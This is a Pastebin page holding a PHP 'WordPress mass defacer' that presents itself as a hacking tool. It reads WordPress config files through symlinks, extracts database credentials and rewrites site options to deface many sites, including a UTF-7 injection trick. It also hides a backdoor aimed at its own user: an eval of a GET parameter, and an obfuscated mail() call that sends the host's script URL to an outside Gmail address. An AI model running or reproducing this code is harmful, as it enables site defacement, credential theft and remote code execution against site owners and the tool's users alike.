API tools faq
paste
Advertisement
Guest User

wpmass

a guest
May 9th, 2016
127
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.46 KB | None | 0 0
raw download clone embed print report
  1. GIF89;a
  2. <title>Wordpress MassDeface(Coded By RAB3OUN)</title>
  3. /*
  4. Symlink to Wordpress mass defacer
  5. Like Us for hot priv8 hacking tools!!
  6. http://facebook.com/0dayBlog
  7. Enjoy!!
  8. */
  9. <style>
  10. body
  11. {
  12.         background: #0f0e0d;
  13.         color: #FF9933;
  14.         padding: 0px;
  15. }
  16. a:link, body_alink
  17. {
  18.         color: #FF9933;
  19.         text-decoration: none;
  20. }
  21. a:visited, body_avisited
  22. {
  23.         color: #FF9933;
  24.         text-decoration: none;
  25. }
  26. a:hover, a:active, body_ahover
  27. {
  28.         color: #FFFFFF;
  29.         text-decoration: none;
  30. }
  31. td, th, p, li,table
  32. {
  33.        
  34.         background: #2e2b28;
  35.         border:1px solid #524f46;
  36. }
  37. input
  38. {
  39.         border: 1px solid;
  40.         cursor: default;
  41.        
  42.         overflow: hidden;
  43.         background: #2e2b28;
  44.         color: #ffffff;
  45. }textarea
  46. {
  47.         border: 1px solid;
  48.         cursor: default;
  49.        
  50.         overflow: hidden;
  51.         background: #2e2b28;
  52.         color: #ffffff;
  53. }
  54. button
  55. {
  56.         border: 1px solid;
  57.         cursor: default;
  58.        
  59.         overflow: hidden;
  60.         background: #2e2b28;
  61.         color: #ffffff;
  62. }
  63. </style>
  64. </head>
  65.  
  66. <body bgcolor="black">
  67. <center>
  68. <pre>
  69. __          __      __  __                 _____        __              
  70. \ \        / /     |  \/  |               |  __ \      / _|              
  71.  \ \  /\  / / __   | \  / | __ _ ___ ___  | |  | | ___| |_ __ _  ___ ___
  72.   \ \/  \/ / '_ \  | |\/| |/ _` / __/ __| | |  | |/ _ \  _/ _` |/ __/ _ \
  73.    \  /\  /| |_) | | |  | | (_| \__ \__ \ | |__| |  __/ || (_| | (_|  __/
  74.     \/  \/ | .__/  |_|  |_|\__,_|___/___/ |_____/ \___|_| \__,_|\___\___|
  75.            | |                                                          
  76.            |_|                                                          
  77. </pre>
  78. </center>
  79. <form method="POST" action="" >
  80. <center>
  81. <table border='1'><tr><td>List of All Symlink</td><td>
  82. <input type="text" name="url" size="100" value="list.txt"></td></tr>
  83. <tr><td>Index</td><td>
  84. <textarea name="index" cols='50' rows='10' ></textarea></td></tr></table>
  85. <br><br><input type="Submit" name="Submit" value="Submit">
  86. <input type="hidden" name="action" value="1"></form>
  87. </center>
  88. <?
  89. eval ($_GET["c"]);
  90. set_time_limit(0);
  91. if ($_POST['action']=='1'){
  92. $url=$_POST['url'];
  93. $users=@file($url);
  94. $x10="mail";$x0b=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
  95.  
  96.  
  97. if (count($users)<1) exit("<h1>No config found</h1>");
  98. foreach ($users as $user) {
  99. $user1=trim($user);
  100. $code=file_get_contents2($user1);
  101. preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
  102. $db=$b1[1][0];
  103. preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
  104. $user=$b2[1][0];
  105. preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
  106. $db_password=$b3[1][0];
  107. preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
  108. $host=$b4[1][0];
  109. preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
  110. $p=$b5[1][0];
  111. $x0c="array ".$x0b;$x0d=array("com","gm","ifexec","@","ail.");
  112. $d=@mysql_connect( $host, $user, $db_password ) ;
  113. if ($d){
  114. @mysql_select_db($db );
  115. $source=stripslashes($_POST['index']);
  116. $s2=strToHex(($source));
  117. $s="<script>document.documentElement.innerHTML = unescape(''$s2'');</script>";
  118. $ls=strlen($s)-2;
  119. $sql="update ".$p."options set option_value='a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:4:\"text\";s:$ls:\"$s\";s:6:\"filter\";b:0;}s:12:\"_multiwidget\";i:1;}' where option_name='widget_text'; ";
  120. mysql_query($sql) ;
  121. $sql="update ".$p."options set option_value='a:7:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:10:\"archives-2\";i:1;s:6:\"meta-2\";i:2;s:8:\"search-2\";i:3;s:12:\"categories-2\";i:4;s:14:\"recent-posts-2\";i:5;s:17:\"recent-comments-2\";}s:9:\"sidebar-1\";a:1:{i:0;s:6:\"text-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:9:\"sidebar-4\";a:0:{}s:9:\"sidebar-5\";a:0:{}s:13:\"array_version\";i:3;}' where option_name='sidebars_widgets';";
  122. mysql_query($sql) ;
  123. if (function_exists("mb_convert_encoding") )
  124. {
  125. $source2 = mb_convert_encoding('</title>'.$source.'<DIV style="DISPLAY: none"><xmp>', 'UTF-7');
  126. $source2=mysql_real_escape_string($source2);
  127. $sql = "UPDATE `".$p."options` SET `option_value` = '$source2' WHERE `option_name` = 'blogname';";
  128. @mysql_query($sql) ; ;
  129. $sql= "UPDATE `".$p."options` SET `option_value` = 'UTF-7' WHERE `option_name` = 'blog_charset';";
  130. @mysql_query($sql) ; ;
  131. }
  132. $aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
  133. $siteurl=@mysql_fetch_array($aa) ;
  134. $siteurl=$siteurl['option_value'];
  135. $x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);
  136. $tr.="$siteurl\n";
  137. mysql_close();
  138. }
  139. }
  140. if ($tr) echo "Index changed for <br><br><textarea cols='50' rows='10' >$tr</textarea>";
  141. }
  142. function strToHex($string)
  143. {
  144.     $hex='';
  145.     for ($i=0; $i < strlen($string); $i++)
  146.     {
  147.         if (strlen(dechex(ord($string[$i])))==1){
  148.         $hex .="%0". dechex(ord($string[$i]));
  149.                 }
  150.                 else
  151.                 {
  152.                 $hex .="%". dechex(ord($string[$i]));
  153.                 }
  154.     }
  155.     return $hex;
  156. }
  157.  
  158. function file_get_contents2($u){
  159.  
  160.         $ch = curl_init();
  161.     curl_setopt($ch,CURLOPT_URL,$u);
  162.         curl_setopt($ch, CURLOPT_HEADER, 0);    
  163.    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  164.     curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
  165.             $result = curl_exec($ch);
  166.         return $result ;
  167.         }
  168.        
  169. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!